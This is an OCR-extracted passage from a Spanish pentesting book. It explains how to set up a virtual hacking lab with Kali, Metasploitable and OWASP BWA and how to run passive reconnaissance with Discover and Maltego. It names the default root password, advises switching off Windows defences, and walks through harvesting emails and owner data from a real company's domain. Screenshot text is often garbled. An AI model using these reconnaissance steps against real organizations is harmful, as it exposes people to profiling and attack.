muchas magquinas virtuales.

Asi también si se causa algun error en una
maquina virtual, podemos simplemente eliminaria
o tener un respaldo antes de que diera el error.
Existen dos softwares grandes que vamos a utilizar
para esto, uno es VirtualBox, y el otro es VMware,
el primero es software 100% abierto y gratis, hecho
por Oracle, y el segundo es de paga, aunque tiene
una versién gratis, sugiero usar VMware si tienes
un sistema Windows, y VirtualBox si tienes un
sistema OSX. En seguida explicaré como montar tu
laboratorio en cada uno de estos sistemas.

Cabe mencionar que dentro de virtualizacién hay
algunos conceptos que debes conocer. Por
ejemplo, el formato .ISO, casi siempre significa que
es el disco de instalacion de un sistema
operativo, es decir, tienes que montar el disco en la

maquina virtual, e instalar el sistema operativo
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como en cualquier maquina por medio de un disco
virtual para que este funcione. Otro formato
comun, y mas facil de utilizar, es el OVF y el VMX,
estos son formatos de importacion, son mucho
mas faciles de utilizar, el OVF es el formato abierto,
es decir, es compatible con ambos VirtualBox y
VMware, sin embargo, el formato BMP es el que
usa VMware, asi que batallaras un poco mas si
intentas importarlos en VirtualBox, sin embargo, si
es posible utilizarlos también en VirtualBox,
adicionalmente, existe el formato VMDK, también
de VMware, este formato es para un disco o un
almacenaje de una maquina virtual existente, es el
equivalente a un disco duro en el mundo real, es
posible utilizarlo para importar y mover maquinas
de un ambiente virtual a otro.

Para tener un laboratorio en el que podamos
practicar todo lo que se ve en este curso, sugiero

instalar los siguientes sistemas:
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1. Kali Linux
Este es una distribucion de Linux basada en debian
disefiada especificamente para pruebas de
penetracion, es decir, para realizar ataques y
pruebas informaticas, puedes encontrar los

archivos en kali.org/downloads para instalarlo, sin

embargo, te sugiero instalar el que esta en

whitesuithacking.com/material-libro, teniendo

cémo ventaja que fue modificado por miy contiene
herramientas extras que se veran en este libro que
el sistema original no tiene.

2. Windows 7
Este sistema sugiero instalarlo para practicar
algunos de los ataques mas comunes a sistemas
Windows, debido a que muchas vulnerabilidades
de Windows 7 y de los Windows Servers funcionan
igual.

3. Metasploitable
Este sistema simula un ambiente Linux vulnerable
en diferentes formas, desde ataques por medio de

ftp, hasta algunos por medio de samba, sera muy
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atil para practicar como atacar servidores Linux y
que esperar al hacerlo.

4. OWASP Broken Web Application Project

(BWAP)

Este sistema fue disefiado por la OWASP para que
practiques como hackear aplicaciones y paginas
web, tiene algunos ejemplos desde para practicar
SQLi hasta para practicar hackear WordPress, asi

que es particularmente util.

Sugiero descargar estos archivos (son bastante
ligeros) antes de seguir con la siguiente seccion
para que los instales.

Estos sistemas los puedes descargar de su

fuente oficial, o de

https://whitesuithacking.com/material-libro,

donde subi los archivos de instalacion para

facilitarte el encontrarlos.

Adicionalmente, encontraras en esa pagina,

videotutoriales GRATIS para ayudarte al

proceso de la instalacion, y todas las

herramientas que necesites en este libro.
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Windows & Macintosh

En Windows es facil crear un laboratorio,
especialmente si gozas de muchos recursos en tu
sistema, en seguida explicaré como hacerlo con
ambos softwares en su version gratis, y algunos de
los posibles problemas que podrias tener.

Es importante mencionar que tu procesador tiene
que soportar virtualizacion (VT), aunque la mayoria
de los procesadores lo soportan, asi que si tienes
una maquina moderna no deberias de preocuparte
de esto.
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El proceso es el mismo en Macintosh, la diferencia
es que en este sistema recomiendo mas utilizar
VirtualBox a VMware, sin embargo, los procesos
de instalacion son virtualmente los mismos en

todos los sistemas operativos.

VMware

Lo primero que hay que hacer, es descargar
VMware, la mejor opcion es VMware Workstation
Pro, pero no es gratis, asi que la segunda mejor
opcion seria VMware Workstation Player, que
funciona bastante bien, puedes encontrar este

software gratis en https://vmware.com, en la

seccion de “Downloads”, instalalo en tu

computadora, y tendras una pantalla similar a esta:
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Ve

B vriwinre Warkcentian 14 Playes - i1

Player = | - |= M e

Welcome to VMware
Workstation 14 Player

= Create a New Virtual Machine

I | Createanew virtual machine, which »ill then be added to
<y the top of your library.

Open a Virtual Machine

Open an existing virtual machine, which will then be added
to the top of your library.

{—41,  Download a Virtual Appliance

I Ngy

i Download a virtual applisnce from the marketplace. You
SRS can then apen it in Player.

Help

view online help.

Lo segundo que debes hacer, es descargar el .ISO
o sistema(s) que vayas a instalar en tu laboratorio,
como ejemplo, voy a mostrar como instalar Kali,
sin embargo, el proceso es el mismo en cualquier
sistema que instales por medio de un ISO, solo
debes seguir la instalacion.

Primero, hay que descargar el archivo del sistema.
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Posteriormente, debemos crear una

nueva maquina virtual en VMware

Maquina WSH.iso

‘ yMware Workstation 14 Player

umvf x )

B e

Welcome to VMware Workstation 14 Player

Create a New Virtual Machine

Create a new virtual machine, which will then be added to e top of your fbrary,

=

T

Open a Virtual .gachine

Open an existing virtual maching, which ¥l then be added to the top of your lbrary.

Download a Virtual Appliance

Download a virtual apphance from the marketplace. You can then open itin Player,

Help

View online help.

Y, seguimos el instalador realizando los siguientes

pasos:




Nevs Virtual Machine Wizard X

Welcome to the Hew Virtual Machine Wizard
Avirtual maching s ke a physical computer; it needs an operating
system, How will you instal the guest operating system?

Install from:
(O tnstaler disc:

* D Drive (Es) WD Unlocker

(®) Instaler disc image fil {iso):
[ F:\ps\aquing Vst so v [ pomsen. |

1Y Coud not detect hich operating systentis in this discimage.
You will need to specify which operating system will be installed.

(Ot vl install the operating system fater,
The virtual machinie vl be ceated with a blank hard dsk,

b | G|
New Yirtual Machine Wizard x
Select a Guest Operating System

vihich operating system will be installed an this virtual machine?

Guest aperating systen
(O Microsoft Windows
@ Linux

(O Wovell NetWare
(C)Solaris

(Qother

Version

{Debian9x : v

Hep | stet | [Thedt> ][ coned |
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Aqui le pones el nombre que quieras que tenga, y

la ubicacidon donde quieres que se grabe:

Y el numero de GB que quieres que tenga tu
maquina de almacenaje (nota, no se consumen
hasta que los consumas dentro de la maquina
virtual). Asegurate de ponerle suficiente basado en
que tanto usaras tu sistema, ya que, aunque
posible, es tedioso modificarlo después (Yo sugiero
50GB).

New Virtual Machine Wizard ; X

Specify Disk Capacity
How large do you want this disk to be?

The virtual machine's hard disk is stored as one or more files on the host computer's
physical disk, These file{s) start small and become larger as you add applications,
files, and data to your virtual machine,

Maximum disk size (GB): 50 = ‘

Recommended size for Debian 9.x: 20 GB

(O store virtual disk as a single file
(®) split virtual disk into multiple files

Splitting the disk makes it easier to move the virtual machine to another computer
but may reduce performance with very large disks.

‘ Help _ < Back l Next > iw Cancel
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Aqui es donde vas a configurar cuanta RAM
quieren que tenga su maquina virtual (mientras
mas tenga, mejor maneja multiples procesos), y
también que tipo de adaptador red quieres que
tenga, en seguida enlistare tus dos principales

opciones:

Harduware
'j Memory
_jNew CDDVDGIUE) s fle {05 Maquna WS...
P — Edtetvork Adspter HAT
'y to Creal irtual Machine E
3} UsB Controter fresent
Clck Frish tn create the virtual mchne. Then you can irstsl Debran 8., & 2 e 4
| & sound card Mito detect e
— — —] Sprnter Prasent =
The virhsal maching wil be oreated with te folowing settings: B elay Aulo detec e
i [ heme: Kall Lbro - ~ soe
i Lozaton: D'Pacumentstvir twal MachinesWal Libro 68
i | veso: Workstation 14.x 168
Operating System: Dibian 8,x si2m3 @
i
Hasd Disk: 5063, splt ':!
Memory: S1ZHMB b
Hetesrk Adapter:  NAT ol
Other Davizest .
e M2
ans
amz
ook i| Fegh G| Gl ! § add

sl Specfy the amount of memary liocated t s it
| machine, The memory size must be & itz of 4

Vemery for s virhual machae: 52z

EGE 8 Maximum luunrwmdaduw.

{Memcry swapping may
coawr beyond this size.)

5,068

9 B Reconmerided memory

M

1 £1 Gurst O recommended mres

E4ME
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1. NAT

Esto significa que tendras acceso al internet, pero
no a la red local (LAN), es decir, no podras atacar a
ninguna computadora fuera de tu maquina, aunque
si podrias atacar sistemas con |Ps Globales, como

lo son las paginas web. Recomiendo este modo si

no quieres poner en riesgo otros sistemas en tu red
local, o si estas en una red en la qué no le asigna

el DHCP IP local a tu maquina virtual.

2. Conexion Puente (bridged)
Este tipo de conexion le da a la interfaz de tu
maquina virtual una conexién puente a la interfaz de tu
sistema principal, lo que le permite tener una direccion
IP en la LAN, Proveyendo a tu sistema virtual tener
acceso a recursos y sistemas en la red local.
Esta es mi configuracion preferida porque mientras que
este en una red personal de forma que no afecte

negativamente a nadie con mis pruebas.
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Hardware

Device Summary

HE Memory 512MB

{d Processors 1

USB Controfler Present

@.ﬁ Seund Card Auto detect

Léi Printer Presant

'Dispﬁay Auto detect
Adde. |

Using file F:\05{Maquina W

Device status
{ “Connected

[#] Connect at pawer on

Metwork connection
(O Bridged: Connected directly to the physical network
Rephcate physical nebwork connaction state
(@) NAT: Used to share the host's IP address
(O Host-only: A private network shared with the host
(0) Custom: Spedific virtual network
Winetl z

(C)LAN segment:

Close: i  Heb

Una vez que terminemos con esto, hacemos clicen

finish, v listo, tenemos una maquina virtual en nuestro

VMware.

El sistema atin no esta instalado, asi que debemos

hacer clic en “play” (el boton verde) para inicializar el

sistema e instalarlo.
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* Para ver instrucciones de instalacion de Kali, ver la

seccion de Instalando Kali Linux.
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Kali Linux

State: Powered Off

Version: Workstation 14.x virtual machine
RAM: 2 GB

Edit virtual machine settings
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Para instalar el sistema en VirtualBox, el proceso es

VirtualBox

muy similar al anterior, deberas primeramente

descargar el programa de_https://virtualbox.org, y

luego de haber terminado la instalacion, crear una

nueva magquina virtual.

Create Virtual Machine

MName and operating system

Please choose a descriptive name for the new virtual machine
and select the type of operating system you intend to install on
it. The name you choose will be used throughout VirtuaiBox to
identify this machine,

Mame: |Kali Linux t

e
Type: Linux

Version! ;Dgia_n (32-&;): : |
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€ Create Virtual Machine

Memory size

Select the amount of memory {RAM) in megabytes to be
allocated to the virtual machine,

The recommended memory size is 1024 MB.

4MB 65536 MB

€ Create Virtual Machine

Hard disk

If you wish you can add a virtual hard disk to the new machine.
You can either areate a new hard disk file or select ane from
the list or from another location using the folder icon.

If you need a more complex storage set-up you can skip this
step and make the changes to the machine settings once the
machine is created,

The recommended size of the hard disk is 8.00 GB.

(O Do notadd a virtual hard disk

(®) Create a virtual hard disk now

(O Use an existing virtual hard disk file

T

aﬁ i o M

T

fusriresur
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Creste Virtual Hard Disk

Hard disk file type

Please choose the type of file that you would like to use for the new virtuz!
hard disk, If you do not need to use it with other virtualization software you
can leave this setting unchanged.

(® VD1 (virtuziBox Disk Image)

() VHD {Virtual Hard Disk}

) VMDK (Virtual Machine Disk)

& Create Virtual Hard Disk

Storage on physical hard disk

Please choose whether the new virtual hard disk file should grow as it is used
{dynamically allocated) or if it should be created at its maximum size (fixed
size).

A dynamically allocated hard disk file wil only use space on your physical

hard disk as it fills up {up to a maximum fixed size}, although it will not shrink
again automalically when space on itis freed.

A fied size hard disk file may take langer to aeate on some systems butis
often faster to use,

@ Dynamically allocated
) Fixed size
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€ Create Virtual Hard Disk

File location and size

Flease lype the name of the new virtual hard disk fle into the box below or dick

on the folder fzon to select a different folder to geate the filein,

Kali Linux

Vonrre sur

|3

Select the size of the virtugl hard disk in megabytes, This size is the lmit on the
amount of file data that a virtual machine will be able to store on the hard disk.

82.74GB

20078

Storage
Sagaberem ——
& Controlery IE
Canbater: SAT4
@ rebunasi
1 seinipons
P v
j Shares Frlders
T Userlotedace
@33 E
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T Choose Virtual Optical Disk Fle
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(@ ot semn ? Sistemas Operativos

[E,] General isystem { ]
}ﬂ System Motherboard Processor Acceleration i & e £ = .
(- oo - Ahora, te guiaré para la instalacion de varios
i 3] storage o R = 1 i i i
| g 5 d_g Exmosion s e ‘ e Iy sistemas operativos, que, sugiero instales antes de
[P [ evtenced roatures: £ Enatie pacix | continuar para que puedas practicar
% Serial Ports |
e e ; adecuadamente todos los ataques que veremos en
' [L.] shared Folders -
HES userinkertoce este libro.
‘ Todos estos sistemas excepto Android (también se

Debemos decirle a la maquina, que 1SO va a puede, pero por simplicidad, es mas facil usar un

utilizar para instalar el sistema operativo. Seguimos emulador externo) pueden ser instalados bastante

la ruta Settings > Storage > Empty(disco) > facil en VMware o VirtualBox. Mientras tengas

i i i g ria i i
Optical Drives > Choose file y seleccionamos memoria para instarlos puedes instalar todos los

; & , . istema i
nuestro archivo 1SO dénde esta nuestro sistema sistemas operativos ya que no toman otros

- recursos r i -
operativo. (como procesamiento o RAM) mientras

Para instalar Kali Linux, véase la seccion estan apagadas

Instalando Kali Linux.

Después de estos pasos, simplemente
presionamos el boton “Start”, o “Iniciar”, e iniciamos
el proceso de instalacion.

Nota: En VirtualBox, en algunos sistemas como

Kali, se debe de activar la opcion PAE en |a

seccion de procesador.
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Al iniciar, te aparecera una ventana similar a esta:

(4

WHITE SUIT

Instalando Kali Linux

ch suntifeis

Aqui te permite varias opciones. La primera te
permitira utilizar el sistema sin instalarlo, la ventaja
es que te ahorras tiempo de instalacion, ya que se
inicia inmediatamente; la desventaja, es que fodo lo

que hagas se borra al apagar el sistema.

Asi que se optara por instalar el sistema, en la

opcioén: “Graphical Install”
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Select a language

Language:
LIESE Py

Croatlan

. czech
Danish
Dutch
Dzongkha

| Esperanto

| Estonian
Finnish
French
Galician
Geaorgian

German

Screenshot |

Chinese (Traditional) -

_chm)“ the Iﬁ}nage to be used ro_r t?-u-: installation process, The selected |a}1;l;)g; will also be the
default language for the Installed system.

- HXARRS

ki gi]

- Hrvatskl

- Ceitlna

- Dansk

- Mederlands 13

- Em

- [Esperanto
- Eesti

- Suomi

- Francais

- Galego

- defampgmn

- Deutsch

=

GoBack || Continue
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Luego el teclado que utilizamos y el usuario

fusrires,

Después de esto, primero seleccionamos el

lenguaje.

Configure the keyboard

| Albanian

|| Arable

Asturian

Bangladesh

| | Belarusian

Bengall

Belglan

| Bosnlan

Brazilian

British English

| | Bulgarian (BDS layout)
| Bulgarian (phanetic layout)
| Burmese

Canadian French

Canadian Multilingual
| catalan = L

H S:feenshn-t Go Back | I_Ennnnua_
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Configure the network

Please enter the hastname for this system.

The hostname Is a single word that identifies your system to the network. If you don't know what your
hostname should be, consult yeur network administrator, Ifyou are setting up your own home network,
you can make something up here,

Hostriame:

[Whiite suitHaghing ]

; Screenshot | = Go Back | I Continue
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Y la contrasefia de nuestro usuario root (la

I KALE-

B QFFEHEIVE 4ECURTT

contrasena default es toor).

Configure the clock

If the desired time zane Is not listed, then please go back to the step "Choosa language” and select a
country that uses the desired time zone (the country where you live or are located).

Select your time zone;
| Eastern

| KALI I

T CIPERI g VAT

Set up users and passwords

You need ta set a password for 'roat, the system administrative account, A maliclaus or unqualified user
with root access can have disastrous results, so you should take care to choose a root password that Is

not easy to guess, It should not be a word faund In dictionarles, or a word that could be easlly Mountain
assarlated with you. p—
Agoad password will contaln a mixture of letters, numbars and punctuation and sheuld be changed at Alaska
requiar Intervals.

Hawail
The ool user should not have an empty password. Ifyou leave this emply, the root account will be
disablad and the system's Initial User account will he given the power ta become raot using the “sudo” Arizona

command.
| East Indiana
Note that you will not be able te see the password as you type it. |
Roat passivord:

Samoa

i Show Password In Clear

Pleass enter the same root password again Lo verlfy thal you have typed it carrectly.
Re-enter passivord to varfy

[ =

{ | Show Password in Clear

) ; e I Screenshot ‘ J Go Back 1 Continue
| screenshat | . GoBack || cominue | e 2 ek L

La zona horaria que se utilizara. Y lo siguiente

sugiero seguir las instrucciones de las imagenes.
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Installatian Is complete, so it is tine to hoot Into your new system. Make sure to remove the
Installation media, sa that you boot Into the new system rather than restarting the installation.

\VWAH'CTF =)

Si decidiste descargar el que esta en mi pagina al

KALI |
. iniciarlo, para que se auto configure, deberas

escribir en una consola de comandos esto:

fetc/init.d/ws start

View Search Terminal Help

~# /etc/init.d/ws start

| File Edit

Adicionalmente, para actualizarlo la siguiente vez,

| Gomak : Continue

deberas escribir en la consola de comandos lo
siguiente:
apt-get update && apt-get upgrade -y

Recomiendo actualizarlo minimo una vez a la

semana, y de ser posible, siempre antes de

usarlo.
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Instalando Windows 7

En este caso, descarga la ISO de la pagina de
materiales, y crea una maquina virtual de Windows
7 en VMware o VirtualBox, y cargaras en el
apartado de disco el ISO, luego de esto, solo
prende la maquina y sigue el proceso de
instalacién comun de Windows.

Aqui es donde agregaremos el ISO en las

configuraciones de VMware.

130

i - -
Yirtual Maching Settings

Hardware | Opfians
Device Summary Device stafus
[ Memory 6.168 Cornecied
i Processors 1 [ Connect at power en
Auto detect Connaction
Sridged (Automatic) (D use physical drive:
EUSE Controller Present e ~
Y Auln getect
8 sound Card Auta detect B s
{)Printer Present @ Use 150 image fle:
Hivisplay futa detect —
7&1‘1 = _ | Remove ‘
| e ||

Y aqui es donde agregaremos el ISO en las

configuraciones de VirtualBox
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3 Kali Linux - Settings

|8 General
(5] system
Display
%2 Audio
B Nework
{3 Serial Ports
& uss

[] shared Foiders

@ User Interface

; Storage
StorageDevieess ————————————— | Aftibutes —————————— — =
Q‘b Cu;m_ N Optical Drive: \!DESe_cundar! @;ﬁhg(_ - ':
[ Live epovo :
™ Controfler: SATA Information - 5L
Typet. —

@ Kali Linux, v

e =

Sizet —
Logation: —
Attached tor -~

Cuando termines el proceso de instalacion, te

recomiendo desactivar el antivirus de Windows, las

actualizaciones automaticas, y el firewall para que

no interfieran con las practicas.

Instalando Linux Vulnerable de pruebas

Para instalar Metasploitable 2, que es el Linux

vulnerable que utilizaremos para nuestras

practicas, en tu laboratorio virtual, primero

descargalo de la pagina de materiales, y seguido

de eso, descomprimelo.
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Ahora, va a variar un poco dependiendo si usas

VMware o VirtualBox, asi que mencionare ambas

formas.

VMware

Esta es la forma mas sencilla, ya que simplemente

tienes que jalar el archivo .VMX a VMware y

aceptar la importacion.

B Metasploitable.nvram
& Metasploitable.vmdk
Metasploitable.vmsd
Metasploitable.x-mx'
Metasploitable.vrmxf

Oftra alternativa es

simplemente abrir el

archivos, abrir, y luego
seleccionar el archivo

VimX.

archivo desde VMware en

133

Edit View VM Tabs Help |

B G

@1 New Virtual Machine... Ctrl+N
5 Mew Window
Open.., Ctrl+Q
Scan for Virtual Machines, .,
Close Tab Ctel+W
Connect to Server.., Ctrl+L

Virtualize a Physical Machine...
Export to OVF,,,

£ Map Virtual Disks..

Exit
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: Presiona siguiente, ponle minimo 500 Mb de RAM,
VirtualBox 9 P
AT L s i y cuando llegues a la siguiente pantalla, selecciona
n VirtualBox el proces - . el : :
cién de utilizar un disco de alma miento

pero decentemente sencillo, aun asi, tendremos que 1a R : _ 2 ] _ o
crear una maquina virtual de Linux (Ubuntu funciona que ya existe, haz clic en la opcion de elegir

archivos, y selecciona el archivo .VMDK.

bien).
& Create Virtual Machine
ﬁ Oracle YA VirtuaiBeox Manager
File Machine Help ‘Hafd dESk
er‘ X {‘;} EL ‘E :}.“‘\ -
’*-;ﬁ‘s' A F %; If you wish you can add a virtual hard disk to the new machine.
New [lsettings Discard  Start == You can either create a new hard disk file or select one from
? b4 the list or from anather location using the folder icon.
_ \ If vou need & more complex storage set-up you can skip this
Create Virtual Machine step and make the changes to the machine settings once the
machine is created,
e e
Name and operating system The recommended size of the hard disk iz 10.00 GB.
Please choose a descriptive name for the new virtual machine Q Do not add a virtual hard disk

and select the type of operating system you irltem_i toinstall on
it. The name you choose will be used throughout VirtualBox to
identify this machine.

Mame: lMetaspioitabie

Type: [Linux e i iMetasplqital_:lg_.vmdk {Mormal, .00 GE) *][ il
R

() Create a virtual hard disk now

{®) Use an existing virtual hard disk file

‘ersion: iﬁunﬁ{?._z-blt} =

—— : . Y listo, presiona crear, e inicia la maquina virtual.

e
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Instalando emulador Android

En el caso de Android, para este libro es opcional,
ya que bien podrias utilizar tu celular Android para
realizar las practicas, pero si no tienes un
Smartphone Android, o prefieres no hacer pruebas
en este, una opcion (entre muchas, esta NO es la
Unica alternativa) es utilizar el emulador de Android

NOX, que puedes instalar en http://bignox.com/ .

Para instalarlo, simplemente sigue el proceso de
cualquier instalador en Windows o Macintosh, solo
al momento de descargar en la pagina, selecciona
la version compatible con tu sistema (en mi caso
me aparece en el boton rojo la version de
Windows, pero como puedes ver, abajo hay un

boton para descargar en Mac).

136

simplemente sigue el proceso, y para instalar
aplicaciones podras hacerlo desde el navegador

del Android emulado, o jalando los archivos .APK

al sistema.
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Instalando servidor web vulnerable

Para instalar este sistema, es el mismo proceso

que Metasploitable, selecciona e importa el .
archivo VMX si estas usando VMware, o importa el
disco .VMDK si estas utilizando VirtualBox en una
maquina virtual Linux (Ubuntu por ejemplo

funciona).

| '} OWASP Broken Web Apps.nvram 10/13/2018 1:40 PM - Viklware Virtual
| '] OWASP Broken Web Apps.vmsd

('] OWASP Broken Web Apps.vmx 10/13/2018 140 PM Vilware virtualig
| "] OWASP Broken Web Apps.rd 9/23/20126:12 FM  Vilweare Team g

& OWASP Broken Web Apps-cllvmdk 10/9/2012 400 PM  Vivlware virtual g

1510:25 Fi  VhiAware snapshg|
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Reconocimiento

Ahora que ya tienes tu laboratorio de pentesting
listo para utilizar, empezaremos con la metodologia
de prueba de penetracion. De aqui en adelante
casi todo sera practico, asi que sugiero seguir las
practicas de este libro en tu laboratorio, y practicar
cada fase las veces que necesites hasta que lo

domines.

La primera pregunta que se hace es ¢, qué es
reconocimiento? Si pusiste atencion en la primera
seccion de libro, recordaras que el reconocimiento,
o “Intelligence Gathering”, como lo encontrarias en
inglés, es la fase en la que obtienes informacion
relevante a tu objetivo, desde correos, profesion,
topologia de la red, puertos y servicios, sistema
operativo, etc.; y esencialmente existen dos tipos
de reconocimiento, el reconocimiento activo, y el
reconocimiento pasivo. En esta seccion veremos

ambos y por qué son importantes.
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Reconocimiento pasivo

El reconocimiento pasivo, es el tipo de
reconocimiento que no interactia con el sistema
directamente para obtener informacion de este,
sino que, utiliza fuentes externas, como Google,

Bing, Shodan, Builtwith, etc, para obtener

informacion de este, por medio de busquedas.
Piénsalo como cuando en tu secundaria te gustaba
una chica o chico, y en vez de preguntarle
directamente “4te gusto?”, le preguntas a tu
amiga/o que le preguntara a su amiga/o (una
cadena), este tipo de reconocimiento pasivo se
conoce como OSINT: Open Source Network
Intelligence.

Tenemos algunas ventajas y desventajas de
obtener informacion por este medio, primero las
ventajas, es informacion rapida, sin riesgo de ser
detectados, y potencialmente encontrar bastante
informacion, ya que no es inusual que las
organizaciones cometan errores en el manejo de

su informacion publica, sin embargo, conlleva

140

algunas desventajas como que esta no sea

confiable y obtener menos informacion relevante
que el reconocimiento directo.

sin embargo, la utilidad del reconocimiento pasivo
no debe de ser ignorado, ya que, en casi todos los
casos, se obtiene informacion relevante para la

prueba de penetracion.

Informacion de dominios

Whois es un protocolo para busqueda de bases de
datos de registro de dominios, e informacién de
paginas web.

Puedes hacer busquedas Whois en servicios tales

como http://who.is/whois/, pero, en varias de las

herramientas proximas se hacen busquedas Whois
automatizadas.

De esta forma puedes saber a qué nombre esta
registrado un dominio, a que IP/servidor se conecta
el DNS, que hosting esta utilizando y mas
informacion que puede ser Util; en algunos casos

se puede obtener la direccién del administrador de

alguna pagina web y/o el teléfono personal de este.
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OSINT - Obtener correos, numeros,
nombres y otras cosas

Discover es un script hecho en bash para OSINT
que es muy Util en diferentes situaciones. Este
script, aunque muy sencillo, potencialmente te
ahorra horas de trabajo, ya que automatiza la

ejecucion de mas de 10 herramientas por medio de

sus scripts, como whois, TheHarvester, entre otras,
las ejecuta todas al mismo tiempo, de forma que tu
no tengas que correr una por una para obtener
informacion de un objetivo.

Adicionalmente, la forma en la que presenta los
resultados es especialmente Util, ya que lo organiza
en un HTML en un formato que te ayudara a
reportar los resultados facilmente, ya que te da la
informacion ya organizada.

Para utilizar esta herramienta, primero debemos
irnos a la carpeta en la que esta el script, el cual en
nuestro sistema lo encontraras en la carpeta

Jopt/Reconocimiento/discover

142

scripts variados que sirven para distintas
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para entrar a esta, basta con escribir el comando

“cd” antes del directorio, de la siguiente forma:
cd /opt/Reconocimiento/discover

conocimiento/discovers 1s
get-pip.py parsers  stash.sqlite

LICENSE ~ phantomjs update.sh

{ README.md
report

notes resource
Y si el archivo discover.sh no te aparece en verde

cuando lo enlistas con Is, esto se debe porque no

tiene permisos de ejecucion, puedes resolverlo con

el comando chmod +x discover.sh para darle

adicionales permisos.

Para ejecutar el archivo, deberas escribir

Jdiscover.sh

/Reconocimiento/discover# ./discover.sh
Enseguida, se te abrira un menu de opciones,
preguntandote que quieres hacer, como veras, esta
herramienta tiene opciones desde RECON, que

son para reconocimiento, hasta MISC, que son

operaciones como romper la seguridad de un wifi.
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Para elegir una opcidn, escribes el nimero en la
Domain | terminal, asi que escribiremos el nimero 1, para

Person utilizar un dominio para iniciar nuestro proceso de
Parse salesforce reconocimiento.

CANNING
Generate target list
CIDR
List
IP, range, or URL |
Rerun Nmap scripts and MSF aux.

Ya que estamos realizando reconocimiento pasivo,

seleccionaremos la opcién 1.

RECON

1. Passive
2. Active
3. Previous menu

Insecure direct object reference|}

. Open multiple tabs in Firefox
. Nikto
a5l

Choice: 1J

. Crack WiF1i
. Parse XML
. Generate a malicious payload
. Start a Metasploit listener
. Update

Exit

Choice: 1 —
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Posteriormente, nos pedira dos cosas, primero el asi que piensa bien a qué organizacion pones en
estos campos.

nombre de la organizacion, y la segunda, el

dominio de esta, presionamos enter después de Después de haber presionado enter,

escribir estos dos puntos. seleccionamos la opcién N (de no), si no tienes
- ) ; una lista de nombres que importar, y esperamos,
es ARIN, econ, goofile, goog-mail, goohost, theHar 3

sploit, URLCrazy, Whois, multiple websites, and rec ‘ un escaneo de estos puede tardar varios minutos

en terminar.

Finalmente, te debe de salir una pantalla asi,

diciendo que se grabo la informacién en la carpeta

Usage
froot/data/(nombre de la organizacién), para

Company: Target i
Domain: target.com - continuar y ver el archivo, basta con presionar

Company: Organizacion
Domain: cinepolis.com Scan complete. s

Do you have a list of names from salesforce to import? (y/N) n
Hay que tener en cuenta que a pesar de que no g |1he supporting data folder is located at /root/data/ |G

estamos dejando rastros directos en el servidor del ress <return> to continue.ll

objetivo, no es ético investigar organizaciones de
este modo sin tener autorizacion previa, ya que
podrias meterte en problemas si revelas algo

confidencial, aungue solo estés “experimentando”,
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Después de abrir varias pestanas en tu navegador,

la herramienta te entrega una pagina similar a esta,

DISCEVER

aqui organiza en secciones toda la informacion que
encontro.
En la seccidén de contactos > Emails encontraras

los correos que recupero el programa, en muchas

HOME CONTACTS

tundacion@s
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organizaciones, cometen el error en el que muchos
correos que no deberian ser publicos, que, si son,
por lo que podrian utilizarse para realizar ataques a

la organizacion.

En la seccién DNS > Maps, podras encontrar
mapas de DNS que te ayudaran a determinar las
ubicaciones de algunos puntos claves de su red;
como su servidor de correo electronico, o quien les
da el servicio de hosting. Enseguida te pongo una
pequeiia tabla de qué significa cada tipo de

registro.

DISCOVER
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Registro | Tipo Para que se utiliza

A Registro del host Hosts individuales

MX Registro de correo Servidores de correo

PTR Registros IP a nombre busqueda_
apuntadores inversas

CNAME | Registro de Alias Crear Aliases

NS Registro del nombre | Servidores DNS
de servicio

SOA Registro de inicio de El registro maestro parala

autoridad

Zona.
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En la seccion Domain > Whois Domain, podras
encontrar al nombre de quien esté registrado ese
dominio, especialmente en PyMES podras
encontrar informacion util, es comun que el dominio
sea registrado a nombre del duefio del negocio, y
generalmente por ahi se podria encontrar

informacion sensible.

DISCOVER

Y, por ultimo, en la seccion Files, podran encontrar
los archivos que haya encontrado la herramienta
en el servidor, usualmente no hay informacion
sensible aqui, pero ha habido casos en los que los
administradores cometen errores como estos, y por
aqui se obtiene informacion confidencial, recuerden

que esto es un juego de quien comete el primer
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error, y nosotros estamos buscando ese error en Errores 'y soluciones

todas las maneras posibles.

DISCOVER HOME CONTA - (VB

La primera vez que lo inicias, hay un error de

permisos con la herramienta TheHarvester, para
solucionarlo, solo escribe en la terminal: chmod +x

Jusr/share/theharvester/theHarvester.py

1118 chnod #x Jusr/share/theharvester/thebarestr py

Maltego

Maltego es un software multiplataforma que se

Dentro de este archivo, se puede encontrar un gran = e >
especializa en reconocimiento y obtencion de

rango de informacién del objetivo, desde topologia - _
informacion, particularmente de personas, ya que

de la red, correos, nombres, archivos en su SR s b
puede utilizar informacion como correo electronico

servidor, dominios registrados, ubicacién del ,
o0 usuarios, para encontrar datos de alguna persona

servidor de correos, etc, pero todo esto el )
0 sus conocidos.

programa comodamente te lo dara como reporte en r _
Para utilizar esta herramienta, debes empezar por

la seccidn de reportes, que te ayuda a organizar .
crear una cuenta en Paterva (los creadores de la

mejor la informacion para posteriormente , R . ]
herramienta) en la siguiente liga (es gratis):

reportarlo. ,
https://www.paterva.com/web7/community/commun

ity.php
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Community
Registration

Una vez que hayas creado tu cuenta, es tiempo de

abrir el software en tu sistema Kali de la siguiente

manera:

Escribe en la terminal Maltego

~# malteqo

Al abrirse, entraras
al software con la
cuenta que acabas

O if you hiave not don 59 yeb edister |

de crear ingresando

Legln i
+ Emall Address| cuentsRomsit com

tus datos en la

Passwerd

siguiente pantalla y

* Solve caplcha

presionando
siguiente en todo lo

demas.

" W!" [TE:%_

Enter your deals below 2 log fn o the Wil Communty S

g

Al llegar a la pantalla principal, presiona este boton,

y se abrira lo que conocemos en Maltego como

graph(grafica).

b Create a new graph.
(Ctrl+T/Cmd+T)

Click the help button to get more help
on Maltego featur. ..

Este, esencialmente es tu espacio de trabajo, en

donde vas a realizar tus investigaciones, notaras
que a la izquierda hay un menu llamado “entity
palet’, esta herramienta, hay un objetivo que se
llama entidad, que simboliza la informacion y tipo
de informacion que estas pidiendo o poniendo a la

herramienta.
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vez en ellas, haz doble clic al texto de la entidad, y

‘ VWH ITES

Aqui estan algunas de las “entidades” disponibles

en Maltego, en la paleta de entidades puedes modifica el texto por la informacién que tu tienes.
verlas catalogadas por el tipo de informacion que Por ejemplo, vamos a asumir que queremos
busca obtener esa entidad. investigar a una empresa y tenemos el nombre del

dominio de su sitio.

= mmn :
| Dlspay mame srpbon. Digbymame 2
i Affiliation Memhershlp uf a social network # H“h“" » Toter hshtag o ’
- — = A visual tation of
o ffhatmn Fli... Hemhershlp of the Flickr social network ChL T e i -DM i< mzﬂmg : ‘ ’“?k\
